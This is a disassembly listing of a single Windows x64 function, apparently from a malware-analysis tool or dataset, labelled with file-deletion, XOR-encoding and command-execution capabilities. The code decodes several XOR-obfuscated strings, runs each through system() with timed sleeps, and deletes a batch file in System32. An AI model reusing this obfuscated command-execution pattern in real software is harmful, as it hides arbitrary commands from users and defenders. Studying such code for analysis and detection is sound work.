Function at 0x14004c1a0
Capabilities:
Delete file
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x58]
sub rsp, 0x130
movups xmm0, xmmword [0x1401aa690]
xor edi, edi
movups xmm1, xmmword [0x1401aa6a0]
mov r8d, edi
mov esi, dword [reloc.WS2_32.dll_accept]
movaps xmmword [rax - 0x38], xmm6
movdqa xmm6, xmmword [0x1401ab420]
movaps xmmword [rax - 0x48], xmm7
movdqa xmm7, xmmword [0x1401aaf50]
movaps xmmword [rax - 0x58], xmm8
movdqa xmm8, xmmword [0x1401aafe0]
movaps xmmword [rax - 0x68], xmm9
movdqa xmm9, xmmword [str.33337777]
movups xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x1401aa6b0]
movups xmmword [rbp - 0x80], xmm1
movups xmm1, xmmword [0x1401aa6c0]
movaps xmmword [rax - 0x78], xmm10
mov eax, dword [0x1401aa6f0]
movdqa xmm10, xmmword [0x1401ab040]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x1401aa6d0]
movups xmmword [rbp - 0x60], xmm1
movups xmm1, xmmword [0x1401aa6e0]
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], eax
cmp esi, 2
jl 0x14004c365
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x60
jl 0x14004c270
cmp r8d, 0x64
jge 0x14004c3a4
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x64
jl 0x14004c370
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x1401aabe8]
mov ecx, edi
mov dword [rsp + 0x60], eax
movups xmm0, xmmword [str.r_bocXSWNIgoDMK__qq]
movups xmm1, xmmword [0x1401aabd8]
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
cmp esi, 2
jl 0x14004c4e2
movdqa xmmword [rsp + 0x20], xmm10
lea rdx, [rsp + 0x44]
mov r8d, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x14004c3f0
cmp ecx, 0x24
jge 0x14004c51f
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
inc ecx
sub al, dl
add al, 0x31
xor byte [r8 - 1], al
cmp ecx, 0x24
jl 0x14004c4f0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x60]
call fcn.140048790
mov rax, qword [rbp + 0x60]
movabs rdx, 0x7ffffffed5fa0dff
mov rcx, rax
cmp rax, rdx
jge 0x14004c558
movabs rbx, 0x12a05f200
add rbx, rax
jmp 0x14004c562
movabs rbx, 0x7fffffffffffffff
mov r12d, 0xff
movabs r14, 0x4e94914f0000
movabs r15, 0x431bde82d7b634db
nop dword [rax]
lea rcx, [rbp + 0x60]
call fcn.140048790
mov rax, qword [rbp + 0x60]
cmp rbx, rax
je 0x14004c605
mov ecx, 1
cmovl ecx, r12d
test cl, cl
jle 0x14004c605
mov rcx, rbx
sub rcx, rax
cmp rcx, r14
jne 0x14004c5c7
mov rax, r15
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x14004c580
jl 0x14004c5d7
mov edx, 0x5265c00
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x14004c580
mov rax, r15
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x14004c5f9
inc edx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x14004c580
lea rcx, str.C:WindowsSystem32ARP_Ban_Fix.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp byte [0x1401aa979], dil
movups xmm2, xmmword [0x1401aa960]
movzx eax, word [0x1401aa978]
movsd xmm0, qword [0x1401aa970]
movups xmmword [rsp + 0x20], xmm2
mov word [rsp + 0x38], ax
movsd qword [rsp + 0x30], xmm0
je 0x14004c914
mov r8d, edi
cmp esi, 2
jl 0x14004c8d0
movdqa xmm3, xmmword [0x1401aaf80]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
movd eax, xmm2
movdqa xmm2, xmmword [0x1401aaf70]
movd ecx, xmm10
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
movd dword [rsp + 0x20], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x24]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rsp + 0x24], xmm2
movdqa xmm2, xmmword [0x1401aaf90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x28]
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
xorps xmm3, xmm1
punpckhdq xmm0, xmm2
movdqa xmm1, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rsp + 0x28], xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm3, xmmword [0x1401aafa0]
movdqa xmm0, xmm1
psrld xmm0, 0x1f
mov r8d, 0x18
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x2c]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rsp + 0x2c], xmm2
movdqa xmm2, xmmword [0x1401aafb0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x30]
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
xorps xmm3, xmm1
movdqa xmm1, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rsp + 0x30], xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x34]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov eax, r8d
lea r9, [rsp + 0x20]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x14004c8e0
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x1401aac40]
mov r8d, edi
mov dword [rsp + 0x58], eax
movzx eax, byte [0x1401aac44]
mov byte [rsp + 0x5c], al
movups xmm0, xmmword [0x1401aac28]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x1401aac38]
movsd qword [rsp + 0x50], xmm0
cmp esi, 2
jl 0x14004ca75
movdqa xmmword [rsp + 0x20], xmm10
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14004c980
cmp r8d, 0x1d
jge 0x14004cab4
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x14004ca80
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
movsd xmm0, qword [0x1401aa8b0]
mov r8d, edi
movzx eax, byte [0x1401aa8b8]
movsd qword [rsp + 0x30], xmm0
mov byte [rsp + 0x38], al
movups xmm2, xmmword [0x1401aa8a0]
movups xmmword [rsp + 0x20], xmm2
cmp esi, 2
jl 0x14004cd7a
movdqa xmm3, xmmword [0x1401aaf80]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
movd eax, xmm2
movdqa xmm2, xmmword [0x1401aaf70]
movd ecx, xmm10
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
movd dword [rsp + 0x20], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x24]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rsp + 0x24], xmm2
movdqa xmm2, xmmword [0x1401aaf90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x28]
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
xorps xmm3, xmm1
punpckhdq xmm0, xmm2
movdqa xmm1, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rsp + 0x28], xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm3, xmmword [0x1401aafa0]
movdqa xmm0, xmm1
psrld xmm0, 0x1f
mov r8d, 0x18
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x2c]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rsp + 0x2c], xmm2
movdqa xmm2, xmmword [0x1401aafb0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x30]
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
xorps xmm3, xmm1
movdqa xmm1, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rsp + 0x30], xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x34]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov eax, r8d
lea r9, [rsp + 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x14004cd90
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [0x1401aa8d4]
mov ecx, edi
mov edx, dword [0x1401aa8d0]
mov word [rsp + 0x34], ax
movzx eax, byte [0x1401aa8d6]
mov byte [rsp + 0x36], al
mov dword [rsp + 0x30], edx
movups xmm2, xmmword [0x1401aa8c0]
movups xmmword [rsp + 0x20], xmm2
cmp esi, 2
jl 0x14004d025
movdqa xmm3, xmmword [0x1401aaf80]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
movd eax, xmm2
movdqa xmm2, xmmword [0x1401aaf70]
movd ecx, xmm10
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
movd dword [rsp + 0x20], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x24]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rsp + 0x24], xmm2
movdqa xmm2, xmmword [0x1401aaf90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x28]
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
xorps xmm3, xmm1
punpckhdq xmm0, xmm2
movdqa xmm1, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rsp + 0x28], xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm3, xmmword [0x1401aafa0]
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x2c]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
movdqa xmm1, xmm3
pmuldq xmm0, xmm6
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rsp + 0x2c], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
mov ecx, reloc.WS2_32.dll_sendto
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
xorps xmm3, xmm1
movd dword [rsp + 0x30], xmm3
mov eax, ecx
lea r8, [rsp + 0x20]
add r8, rax
nop
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
inc ecx
sub al, dl
add al, 0x31
xor byte [r8 - 1], al
cmp ecx, 0x17
jl 0x14004d030
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [0x1401aa8f8]
movsd xmm0, qword [0x1401aa8f0]
mov word [rsp + 0x38], ax
movzx eax, byte [0x1401aa8fa]
mov byte [rsp + 0x3a], al
movsd qword [rsp + 0x30], xmm0
movups xmm2, xmmword [0x1401aa8e0]
movups xmmword [rsp + 0x20], xmm2
cmp esi, 2
jl 0x14004d329
movdqa xmm3, xmmword [0x1401aaf80]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movd eax, xmm2
movdqa xmm2, xmmword [0x1401aaf70]
movd ecx, xmm10
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm7, xmm0
pmuldq xmm1, xmm6
andps xmm7, xmm8
movd xmm0, ecx
packuswb xmm7, xmm7
packuswb xmm7, xmm7
paddb xmm7, xmm0
movd xmm0, eax
xorps xmm7, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
movd dword [rsp + 0x20], xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x24]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rsp + 0x24], xmm2
movdqa xmm2, xmmword [0x1401aaf90]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x28]
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
xorps xmm3, xmm1
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rsp + 0x28], xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
movdqa xmm3, xmmword [0x1401aafa0]
mov edi, 0x18
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x2c]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rsp + 0x2c], xmm2
movdqa xmm2, xmmword [0x1401aafb0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x30]
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
xorps xmm3, xmm1
movdqa xmm1, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rsp + 0x30], xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x34]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov eax, edi
lea r8, [rsp + 0x20]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, dil
inc edi
sub al, cl
add al, 0x31
xor byte [r8 - 1], al
cmp edi, 0x1b
jl case.default.0x14004d3b4
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x2710
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
